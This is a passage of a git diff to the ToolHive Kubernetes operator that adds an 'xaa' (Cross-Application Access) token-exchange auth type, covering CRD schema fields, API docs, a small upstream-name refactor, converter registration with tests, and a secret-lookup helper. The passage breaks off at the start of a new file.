redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -2855,6 +2959,7 @@ spec: - awsSts - upstreamInject - obo + - xaa type: string upstreamInject: description: |- @@ -2863,13 +2968,114 @@ spec: properties: providerName: description: |- - ProviderName is the name of the upstream IDP provider whose access token + ProviderName is the name of the upstream IdP provider whose access token should be injected as the Authorization: Bearer header. minLength: 1 type: string required: - providerName type: object + xaa: + description: |- + XAA configures XAA (Cross-Application Access) auth for backend requests. + Only used when Type is "xaa". + properties: + idpClientId: + description: IDPClientID is the OAuth client ID at the IdP for + Step A. + type: string + idpClientSecretRef: + description: IDPClientSecretRef references a Kubernetes Secret + containing the IdP client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + idpTokenUrl: + description: |- + IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). + Must be a valid HTTPS URL. + pattern: ^https://.*$ + type: string + insecureTargetTokenUrl: + description: |- + InsecureTargetTokenURL allows plain HTTP for TargetTokenURL. + WARNING: this is insecure and must only be set for in-cluster or + development/testing endpoints — never in production. + type: boolean + scopes: + description: Scopes are the requested scopes for the XAA exchange + (Steps A and B). + items: + type: string + type: array + x-kubernetes-list-type: atomic + subjectProviderName: + description: |- + SubjectProviderName selects which upstream provider's ID token to use. + When left empty and an embedded authorization server is configured, + the controller automatically populates this field with the first configured + upstream provider name. + type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token" + when empty. + enum: + - urn:ietf:params:oauth:token-type:id_token + type: string + targetAudience: + description: TargetAudience is the resource AS URL for the ID-JAG + audience claim. + type: string + targetClientId: + description: |- + TargetClientID is the OAuth client ID at the target AS for Step B. + ID-JAG draft §9.1 RECOMMENDS confidential clients for Step B; most + conformant target authorization servers will reject an unauthenticated + JWT-bearer grant per the §4.4.1 client_id continuity requirement. + type: string + targetClientSecretRef: + description: TargetClientSecretRef references a Kubernetes Secret + for the target AS client secret. + properties: + key: + description: Key is the key within the secret + type: string + name: + description: Name is the name of the secret + type: string + required: + - key + - name + type: object + targetResource: + description: |- + TargetResource is the RFC 8707 resource indicator sent as the `resource` + parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + identifies the target resource server — not the access-token audience, which + is governed by TargetAudience. For MCP backends, set to the MCP server URL. + Some authorization servers (e.g. Okta's early ID-JAG implementation) require + this parameter in practice despite the draft marking it optional — set it + when your IdP needs it. + type: string + targetTokenUrl: + description: TargetTokenURL is the target AS token endpoint for + Step B (JWT Bearer grant). + type: string + required: + - idpTokenUrl + - targetAudience + - targetTokenUrl + type: object required: - type type: object @@ -2896,11 +3102,13 @@ spec: !has(self.upstreamInject)' - message: obo configuration must be set if and only if type is 'obo' rule: 'self.type == ''obo'' ? has(self.obo) : !has(self.obo)' + - message: xaa configuration must be set if and only if type is 'xaa' + rule: 'self.type == ''xaa'' ? has(self.xaa) : !has(self.xaa)' - message: no configuration must be set when type is 'unauthenticated' rule: 'self.type == ''unauthenticated'' ? (!has(self.tokenExchange) && !has(self.headerInjection) && !has(self.bearerToken) && !has(self.embeddedAuthServer) - && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo)) - : true' + && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo) + && !has(self.xaa)) : true' status: description: MCPExternalAuthConfigStatus defines the observed state of MCPExternalAuthConfig diff --git a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml index df02d2b305..bf51183620 100644 --- a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml +++ b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml @@ -674,13 +674,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -824,7 +824,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -849,13 +849,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -2160,6 +2160,13 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). @@ -2457,6 +2464,13 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). @@ -4066,13 +4080,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -4216,7 +4230,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -4241,13 +4255,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -5552,6 +5566,13 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). @@ -5849,6 +5870,13 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). diff --git a/docs/operator/crd-api.md b/docs/operator/crd-api.md index 47b1de79e0..d783eadb4a 100644 --- a/docs/operator/crd-api.md +++ b/docs/operator/crd-api.md @@ -245,6 +245,7 @@ _Appears in:_ | `targetResource` _string_ | TargetResource is the RFC 8707 resource indicator sent as the `resource`
parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It
identifies the target resource server — not the access-token audience, which
is governed by TargetAudience. For MCP backends, set to the MCP server URL. | | | | `scopes` _string array_ | Scopes are the requested scopes for Steps A and B. | | | | `subjectProviderName` _string_ | SubjectProviderName selects which upstream provider's ID token to use.
Auto-populated when embedded AS is active. | | | +| `subjectTokenType` _string_ | SubjectTokenType is the token-type URN of the upstream subject token
used in Step A. Defaults to TokenTypeIDToken when empty. Currently only
urn:ietf:params:oauth:token-type:id_token is accepted; the field exists
to allow future expansion to SAML upstreams without an API break. | | | @@ -1552,8 +1553,9 @@ _Appears in:_ | `unauthenticated` | ExternalAuthTypeUnauthenticated is the type for no authentication
This should only be used for backends on trusted networks (e.g., localhost, VPC)
or when authentication is handled by network-level security
| | `embeddedAuthServer` | ExternalAuthTypeEmbeddedAuthServer is the type for embedded OAuth2/OIDC authorization server
This enables running an embedded auth server that delegates to upstream IDPs
| | `awsSts` | ExternalAuthTypeAWSSts is the type for AWS STS authentication
| -| `upstreamInject` | ExternalAuthTypeUpstreamInject is the type for upstream token injection
This injects an upstream IDP access token as the Authorization: Bearer header
| +| `upstreamInject` | ExternalAuthTypeUpstreamInject is the type for upstream token injection
This injects an upstream IdP access token as the Authorization: Bearer header
| | `obo` | ExternalAuthTypeOBO is the type for on-behalf-of (OBO) flows.
This type requires a build with an OBO handler registered via
controllerutil.RegisterOBOHandler; an upstream-only build surfaces
status.conditions[Valid] = False with Reason: EnterpriseRequired
when an obo-typed MCPExternalAuthConfig is applied.
| +| `xaa` | ExternalAuthTypeXAA is the type for XAA (Cross-Application Access) auth.
XAA performs a two-step token exchange to obtain access tokens for target services:
- Step A (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT
- Step B (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token
| #### api.v1beta1.HeaderForwardConfig @@ -1895,7 +1897,7 @@ _Appears in:_ | Field | Description | Default | Validation | | --- | --- | --- | --- | -| `type` _[api.v1beta1.ExternalAuthType](#apiv1beta1externalauthtype)_ | Type is the type of external authentication to configure.
When set to "obo", the cluster must run a build that has registered an
OBO handler via controllerutil.RegisterOBOHandler; upstream-only builds
surface status.conditions[Valid] = False with Reason: EnterpriseRequired
for obo-typed configs. | | Enum: [tokenExchange headerInjection bearerToken unauthenticated embeddedAuthServer awsSts upstreamInject obo]
Required: \{\}
| +| `type` _[api.v1beta1.ExternalAuthType](#apiv1beta1externalauthtype)_ | Type is the type of external authentication to configure.
When set to "obo", the cluster must run a build that has registered an
OBO handler via controllerutil.RegisterOBOHandler; upstream-only builds
surface status.conditions[Valid] = False with Reason: EnterpriseRequired
for obo-typed configs. | | Enum: [tokenExchange headerInjection bearerToken unauthenticated embeddedAuthServer awsSts upstreamInject obo xaa]
Required: \{\}
| | `tokenExchange` _[api.v1beta1.TokenExchangeConfig](#apiv1beta1tokenexchangeconfig)_ | TokenExchange configures RFC-8693 OAuth 2.0 Token Exchange
Only used when Type is "tokenExchange" | | Optional: \{\}
| | `headerInjection` _[api.v1beta1.HeaderInjectionConfig](#apiv1beta1headerinjectionconfig)_ | HeaderInjection configures custom HTTP header injection
Only used when Type is "headerInjection" | | Optional: \{\}
| | `bearerToken` _[api.v1beta1.BearerTokenConfig](#apiv1beta1bearertokenconfig)_ | BearerToken configures bearer token authentication
Only used when Type is "bearerToken" | | Optional: \{\}
| @@ -1903,6 +1905,7 @@ _Appears in:_ | `awsSts` _[api.v1beta1.AWSStsConfig](#apiv1beta1awsstsconfig)_ | AWSSts configures AWS STS authentication with SigV4 request signing
Only used when Type is "awsSts" | | Optional: \{\}
| | `upstreamInject` _[api.v1beta1.UpstreamInjectSpec](#apiv1beta1upstreaminjectspec)_ | UpstreamInject configures upstream token injection for backend requests.
Only used when Type is "upstreamInject". | | Optional: \{\}
| | `obo` _[api.v1beta1.OBOConfig](#apiv1beta1oboconfig)_ | OBO configures On-Behalf-Of (OBO) authentication.
Only used when Type is "obo". Setting this field on an upstream-only build
causes the MCPExternalAuthConfig to transition to
status.conditions[Valid] = False with Reason: EnterpriseRequired, because
no OBO handler is registered. See OBOConfig for the field-to-runtime
contract mapping. | | Optional: \{\}
| +| `xaa` _[api.v1beta1.XAASpec](#apiv1beta1xaaspec)_ | XAA configures XAA (Cross-Application Access) auth for backend requests.
Only used when Type is "xaa". | | Optional: \{\}
| #### api.v1beta1.MCPExternalAuthConfigStatus @@ -2974,8 +2977,8 @@ _Appears in:_ | `userInfo` _[api.v1beta1.UserInfoConfig](#apiv1beta1userinfoconfig)_ | UserInfo contains configuration for fetching user information from the upstream provider.
When omitted and IdentityFromToken is also unset, the embedded auth server runs in
synthesis mode for this upstream: a non-PII subject derived from the access token, no
Name/Email. Use this shape for upstreams with no userinfo surface and no identity in
the token response (e.g., MCP authorization servers per the MCP spec). When
IdentityFromToken is set instead, identity is resolved from the token response body
(e.g., Snowflake's "username" field, Slack's "authed_user.id"); the userinfo HTTP call
is skipped entirely. | | Optional: \{\}
| | `clientId` _string_ | ClientID is the OAuth 2.0 client identifier registered with the upstream IDP.
Mutually exclusive with DCRConfig: when DCRConfig is set, ClientID is obtained
at runtime via RFC 7591 Dynamic Client Registration and must be left empty. | | Optional: \{\}
| | `clientSecretRef` _[api.v1beta1.SecretKeyRef](#apiv1beta1secretkeyref)_ | ClientSecretRef references a Kubernetes Secret containing the OAuth 2.0 client secret.
Optional for public clients using PKCE instead of client secret. | | Optional: \{\}
| -| `redirectUri` _string_ | RedirectURI is the callback URL where the upstream IDP will redirect after authentication.
When not specified, defaults to `\{resourceUrl\}/oauth/callback` where `resourceUrl` is the
URL associated with the resource (e.g., MCPServer or vMCP) using this config. | | Optional: \{\}
| -| `scopes` _string array_ | Scopes are the OAuth scopes to request from the upstream IDP. | | Optional: \{\}
| +| `redirectUri` _string_ | RedirectURI is the callback URL where the upstream IdP will redirect after authentication.
When not specified, defaults to `\{resourceUrl\}/oauth/callback` where `resourceUrl` is the
URL associated with the resource (e.g., MCPServer or vMCP) using this config. | | Optional: \{\}
| +| `scopes` _string array_ | Scopes are the OAuth scopes to request from the upstream IdP. | | Optional: \{\}
| | `tokenResponseMapping` _[api.v1beta1.TokenResponseMapping](#apiv1beta1tokenresponsemapping)_ | TokenResponseMapping configures custom field extraction from non-standard token responses.
Some OAuth providers (e.g., GovSlack) nest token fields under non-standard paths
instead of returning them at the top level. When set, ToolHive performs the token
exchange HTTP call directly and extracts fields using the configured dot-notation paths.
If nil, standard OAuth 2.0 token response parsing is used.
For extracting user identity from the token response, see IdentityFromToken. | | Optional: \{\}
| | `identityFromToken` _[api.v1beta1.IdentityFromTokenConfig](#apiv1beta1identityfromtokenconfig)_ | IdentityFromToken extracts user identity (subject, name, email) directly
from the OAuth2 token-endpoint response body using gjson dot-notation paths.
When set, the embedded auth server skips the userinfo HTTP call entirely
and resolves identity from the token response. See IdentityFromTokenConfig
for trust-model and uniqueness considerations. | | Optional: \{\}
| | `additionalAuthorizationParams` _object (keys:string, values:string)_ | AdditionalAuthorizationParams are extra query parameters to include in
authorization requests sent to the upstream provider.
This is useful for providers that require custom parameters, such as
Google's access_type=offline for obtaining refresh tokens.
Framework-managed parameters (response_type, client_id, redirect_uri,
scope, state, code_challenge, code_challenge_method, nonce) are not allowed. | | MaxProperties: 16
Optional: \{\}
| @@ -3054,10 +3057,10 @@ _Appears in:_ | Field | Description | Default | Validation | | --- | --- | --- | --- | | `issuerUrl` _string_ | IssuerURL is the OIDC issuer URL for automatic endpoint discovery.
Must be a valid HTTPS URL. | | Pattern: `^https://.*$`
Required: \{\}
| -| `clientId` _string_ | ClientID is the OAuth 2.0 client identifier registered with the upstream IDP. | | Required: \{\}
| +| `clientId` _string_ | ClientID is the OAuth 2.0 client identifier registered with the upstream IdP. | | Required: \{\}
| | `clientSecretRef` _[api.v1beta1.SecretKeyRef](#apiv1beta1secretkeyref)_ | ClientSecretRef references a Kubernetes Secret containing the OAuth 2.0 client secret.
Optional for public clients using PKCE instead of client secret. | | Optional: \{\}
| -| `redirectUri` _string_ | RedirectURI is the callback URL where the upstream IDP will redirect after authentication.
When not specified, defaults to `\{resourceUrl\}/oauth/callback` where `resourceUrl` is the
URL associated with the resource (e.g., MCPServer or vMCP) using this config. | | Optional: \{\}
| -| `scopes` _string array_ | Scopes are the OAuth scopes to request from the upstream IDP.
If not specified, defaults to ["openid", "offline_access"].
When using additionalAuthorizationParams with provider-specific refresh token
mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid
sending both offline_access and the provider-specific parameter. | | Optional: \{\}
| +| `redirectUri` _string_ | RedirectURI is the callback URL where the upstream IdP will redirect after authentication.
When not specified, defaults to `\{resourceUrl\}/oauth/callback` where `resourceUrl` is the
URL associated with the resource (e.g., MCPServer or vMCP) using this config. | | Optional: \{\}
| +| `scopes` _string array_ | Scopes are the OAuth scopes to request from the upstream IdP.
If not specified, defaults to ["openid", "offline_access"].
When using additionalAuthorizationParams with provider-specific refresh token
mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid
sending both offline_access and the provider-specific parameter. | | Optional: \{\}
| | `userInfoOverride` _[api.v1beta1.UserInfoConfig](#apiv1beta1userinfoconfig)_ | UserInfoOverride allows customizing UserInfo fetching behavior for OIDC providers.
By default, the UserInfo endpoint is discovered automatically via OIDC discovery.
Use this to override the endpoint URL, HTTP method, or field mappings for providers
that return non-standard claim names in their UserInfo response. | | Optional: \{\}
| | `additionalAuthorizationParams` _object (keys:string, values:string)_ | AdditionalAuthorizationParams are extra query parameters to include in
authorization requests sent to the upstream provider.
This is useful for providers that require custom parameters, such as
Google's access_type=offline for obtaining refresh tokens.
Note: when using access_type=offline, also set explicit scopes to avoid
the default offline_access scope being sent alongside it.
Framework-managed parameters (response_type, client_id, redirect_uri,
scope, state, code_challenge, code_challenge_method, nonce) are not allowed. | | MaxProperties: 16
Optional: \{\}
| | `subjectClaim` _string_ | SubjectClaim names the validated ID-token claim to use as the upstream
subject. Defaults to "sub" when empty. Set it for IdPs where "sub" isn't
stable per user — e.g. Entra/Azure AD, whose "sub" rotates per application
and whose stable identifier is "oid".
The value is looked up verbatim as a top-level claim name, so it is
constrained to a claim-name shape: it must start with a letter or
underscore and contain only letters, digits, and underscores. This rejects
dotted, colon-namespaced, or whitespace-containing values at admission
rather than letting a typo silently miss the claim at login, and keeps the
field aligned with the directory service's per-issuer bindingClaim.
Changing this on a live deployment re-keys existing users (the value
resolves to the internal user ID), so treat it as immutable once users
exist.
Per-IdP notes:
- Entra/Azure AD: use "oid"; it is only emitted when the upstream scopes
include "profile". "oid" is unique within a single tenant — multi-tenant
apps need oid+tid, which this single-claim field cannot express.
- Okta: the org auth server already puts the stable id in "sub" (default
works). A custom auth server's "sub" is the mutable login/email and the
stable "uid" lives only in the access token, not the ID token — map a
custom ID-token claim and point subjectClaim at it.
The pattern matches the claim-name shape and allows empty (defaults to
"sub"). Using Pattern rather than a CEL XValidation rule keeps this off the
CRD's CEL cost budget — a single-field format check via CEL is rejected by
the apiserver as too expensive once multiplied across the upstreams list. | | MaxLength: 128
Pattern: `^([a-zA-Z_][a-zA-Z0-9_]*)?$`
Optional: \{\}
| @@ -3395,6 +3398,7 @@ _Appears in:_ - [api.v1beta1.TokenExchangeConfig](#apiv1beta1tokenexchangeconfig) - [api.v1beta1.WebhookSpec](#apiv1beta1webhookspec) - [api.v1beta1.WebhookTLSConfig](#apiv1beta1webhooktlsconfig) +- [api.v1beta1.XAASpec](#apiv1beta1xaaspec) | Field | Description | Default | Validation | | --- | --- | --- | --- | @@ -3614,7 +3618,7 @@ _Appears in:_ UpstreamInjectSpec holds configuration for upstream token injection. -This strategy injects an upstream IDP access token obtained by the embedded +This strategy injects an upstream IdP access token obtained by the embedded authorization server into backend requests as the Authorization: Bearer header. @@ -3624,7 +3628,7 @@ _Appears in:_ | Field | Description | Default | Validation | | --- | --- | --- | --- | -| `providerName` _string_ | ProviderName is the name of the upstream IDP provider whose access token
should be injected as the Authorization: Bearer header. | | MinLength: 1
Required: \{\}
| +| `providerName` _string_ | ProviderName is the name of the upstream IdP provider whose access token
should be injected as the Authorization: Bearer header. | | MinLength: 1
Required: \{\}
| #### api.v1beta1.UpstreamProviderConfig @@ -4061,3 +4065,34 @@ _Appears in:_ | `name` _string_ | Name is the name of the workload resource | | MinLength: 1
Required: \{\}
| +#### api.v1beta1.XAASpec + + + +XAASpec holds configuration for the XAA (Cross-Application Access) auth strategy. +XAA implements draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG) — a +two-step token exchange to obtain access tokens for target services: + - Step A (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT + - Step B (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token + + + +_Appears in:_ +- [api.v1beta1.MCPExternalAuthConfigSpec](#apiv1beta1mcpexternalauthconfigspec) + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `idpTokenUrl` _string_ | IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange).
Must be a valid HTTPS URL. | | Pattern: `^https://.*$`
Required: \{\}
| +| `idpClientId` _string_ | IDPClientID is the OAuth client ID at the IdP for Step A. | | Optional: \{\}
| +| `idpClientSecretRef` _[api.v1beta1.SecretKeyRef](#apiv1beta1secretkeyref)_ | IDPClientSecretRef references a Kubernetes Secret containing the IdP client secret. | | Optional: \{\}
| +| `targetTokenUrl` _string_ | TargetTokenURL is the target AS token endpoint for Step B (JWT Bearer grant). | | Required: \{\}
| +| `insecureTargetTokenUrl` _boolean_ | InsecureTargetTokenURL allows plain HTTP for TargetTokenURL.
WARNING: this is insecure and must only be set for in-cluster or
development/testing endpoints — never in production. | | Optional: \{\}
| +| `targetClientId` _string_ | TargetClientID is the OAuth client ID at the target AS for Step B.
ID-JAG draft §9.1 RECOMMENDS confidential clients for Step B; most
conformant target authorization servers will reject an unauthenticated
JWT-bearer grant per the §4.4.1 client_id continuity requirement. | | Optional: \{\}
| +| `targetClientSecretRef` _[api.v1beta1.SecretKeyRef](#apiv1beta1secretkeyref)_ | TargetClientSecretRef references a Kubernetes Secret for the target AS client secret. | | Optional: \{\}
| +| `targetAudience` _string_ | TargetAudience is the resource AS URL for the ID-JAG audience claim. | | Required: \{\}
| +| `targetResource` _string_ | TargetResource is the RFC 8707 resource indicator sent as the `resource`
parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It
identifies the target resource server — not the access-token audience, which
is governed by TargetAudience. For MCP backends, set to the MCP server URL.
Some authorization servers (e.g. Okta's early ID-JAG implementation) require
this parameter in practice despite the draft marking it optional — set it
when your IdP needs it. | | Optional: \{\}
| +| `scopes` _string array_ | Scopes are the requested scopes for the XAA exchange (Steps A and B). | | Optional: \{\}
| +| `subjectProviderName` _string_ | SubjectProviderName selects which upstream provider's ID token to use.
When left empty and an embedded authorization server is configured,
the controller automatically populates this field with the first configured
upstream provider name. | | Optional: \{\}
| +| `subjectTokenType` _string_ | SubjectTokenType is the token-type URN of the upstream subject token
used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token"
when empty. | | Enum: [urn:ietf:params:oauth:token-type:id_token]
Optional: \{\}
| + + diff --git a/pkg/authserver/config.go b/pkg/authserver/config.go index e0fd721d14..b7d6e8cce5 100644 --- a/pkg/authserver/config.go +++ b/pkg/authserver/config.go @@ -236,6 +236,17 @@ func ResolveUpstreamName(name string) string { return name } +// ResolveFirstUpstreamName returns the resolved name of the first element of +// names, or DefaultUpstreamName when names is empty. It is the single +// implementation of the "first upstream or default" pattern used wherever a +// subject-provider name must be derived from a list of configured upstreams. +func ResolveFirstUpstreamName(names []string) string { + if len(names) > 0 { + return ResolveUpstreamName(names[0]) + } + return DefaultUpstreamName +} + // upstreamNameRegex validates upstream provider names. // Names must be DNS-label-like to prevent delimiter injection in storage keys. var upstreamNameRegex = regexp.MustCompile(`^[a-z0-9]([a-z0-9-]*[a-z0-9])?$`) diff --git a/pkg/runner/middleware.go b/pkg/runner/middleware.go index 96fbe1e529..1debe3fe87 100644 --- a/pkg/runner/middleware.go +++ b/pkg/runner/middleware.go @@ -437,13 +437,14 @@ func addUpstreamSwapMiddleware( // Derive ProviderName from the upstream config if not explicitly set if upstreamSwapConfig.ProviderName == "" { - upstreamSwapConfig.ProviderName = func() string { - if cfg := config.EmbeddedAuthServerConfig; cfg != nil && - len(cfg.Upstreams) > 0 { - return authserver.ResolveUpstreamName(cfg.Upstreams[0].Name) + var names []string + if embeddedCfg := config.EmbeddedAuthServerConfig; embeddedCfg != nil { + names = make([]string, len(embeddedCfg.Upstreams)) + for i, u := range embeddedCfg.Upstreams { + names[i] = u.Name } - return authserver.DefaultUpstreamName - }() + } + upstreamSwapConfig.ProviderName = authserver.ResolveFirstUpstreamName(names) } upstreamSwapParams := upstreamswap.MiddlewareParams{ @@ -472,14 +473,11 @@ func injectUpstreamProviderIfNeeded( return authzCfg, nil } - // Derive the provider name the same way addUpstreamSwapMiddleware does, - // delegating normalisation (empty-string → "default") to ResolveUpstreamName. - providerName := func() string { - if len(embeddedCfg.Upstreams) > 0 { - return authserver.ResolveUpstreamName(embeddedCfg.Upstreams[0].Name) - } - return authserver.DefaultUpstreamName - }() + names := make([]string, len(embeddedCfg.Upstreams)) + for i, u := range embeddedCfg.Upstreams { + names[i] = u.Name + } + providerName := authserver.ResolveFirstUpstreamName(names) return cedar.InjectUpstreamProvider(authzCfg, providerName) } diff --git a/pkg/vmcp/auth/converters/interface.go b/pkg/vmcp/auth/converters/interface.go index 334cb905d6..858bc94dc5 100644 --- a/pkg/vmcp/auth/converters/interface.go +++ b/pkg/vmcp/auth/converters/interface.go @@ -76,6 +76,7 @@ func NewRegistry() *Registry { r.Register(mcpv1beta1.ExternalAuthTypeUpstreamInject, &UpstreamInjectConverter{}) r.Register(mcpv1beta1.ExternalAuthTypeAWSSts, &AwsStsConverter{}) r.Register(mcpv1beta1.ExternalAuthTypeOBO, &OBOConverter{}) + r.Register(mcpv1beta1.ExternalAuthTypeXAA, &XAAConverter{}) return r } diff --git a/pkg/vmcp/auth/converters/registry_test.go b/pkg/vmcp/auth/converters/registry_test.go index b800b54f1c..f9c00277d4 100644 --- a/pkg/vmcp/auth/converters/registry_test.go +++ b/pkg/vmcp/auth/converters/registry_test.go @@ -107,6 +107,12 @@ func TestDefaultRegistry(t *testing.T) { require.NotNil(t, oboConverter) assert.Equal(t, "obo", oboConverter.StrategyType()) assert.IsType(t, &OBOConverter{}, oboConverter) + + // Test XAA converter + xaaConverter, err := registry.GetConverter(mcpv1beta1.ExternalAuthTypeXAA) + require.NoError(t, err) + require.NotNil(t, xaaConverter) + assert.Equal(t, "xaa", xaaConverter.StrategyType()) }) } @@ -144,6 +150,10 @@ func TestNewRegistry(t *testing.T) { oboConverter, err := registry.GetConverter(mcpv1beta1.ExternalAuthTypeOBO) require.NoError(t, err) assert.NotNil(t, oboConverter) + + xaaConverter, err := registry.GetConverter(mcpv1beta1.ExternalAuthTypeXAA) + require.NoError(t, err) + assert.NotNil(t, xaaConverter) }) t.Run("creates independent instances", func(t *testing.T) { @@ -172,6 +182,7 @@ func TestNewRegistry(t *testing.T) { {mcpv1beta1.ExternalAuthTypeUpstreamInject, "upstream_inject"}, {mcpv1beta1.ExternalAuthTypeAWSSts, "aws_sts"}, {mcpv1beta1.ExternalAuthTypeOBO, "obo"}, + {mcpv1beta1.ExternalAuthTypeXAA, "xaa"}, } for _, tc := range testCases { diff --git a/pkg/vmcp/auth/converters/secrets.go b/pkg/vmcp/auth/converters/secrets.go new file mode 100644 index 0000000000..7b77194435 --- /dev/null +++ b/pkg/vmcp/auth/converters/secrets.go @@ -0,0 +1,40 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package converters + +import ( + "context" + "fmt" + + corev1 "k8s.io/api/core/v1" + "k8s.io/apimachinery/pkg/types" + "sigs.k8s.io/controller-runtime/pkg/client" + + mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" +) + +// resolveSecretKeyRef fetches a secret value from Kubernetes using a SecretKeyRef. +func resolveSecretKeyRef( + ctx context.Context, + k8sClient client.Client, + namespace string, + ref *mcpv1beta1.SecretKeyRef, +) (string, error) { + secret := &corev1.Secret{} + secretKey := types.NamespacedName{ + Name: ref.Name, + Namespace: namespace, + } + + if err := k8sClient.Get(ctx, secretKey, secret); err != nil { + return "", fmt.Errorf("failed to get secret %s/%s: %w", namespace, ref.Name, err) + } + + secretValue, ok := secret.Data[ref.Key] + if !ok { + return "", fmt.Errorf("secret %s/%s does not contain key %s", namespace, ref.Name, ref.Key) + } + + return string(secretValue), nil +} diff --git a/pkg/vmcp/auth/converters/xaa.go b/pkg/vmcp/auth/converters/xaa.go new file mode 100644 index 0000000000..fc463625da --- /dev/null +++ b/pkg/vmcp/auth/converters/xaa.go @@ -0,0 +1,92 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// 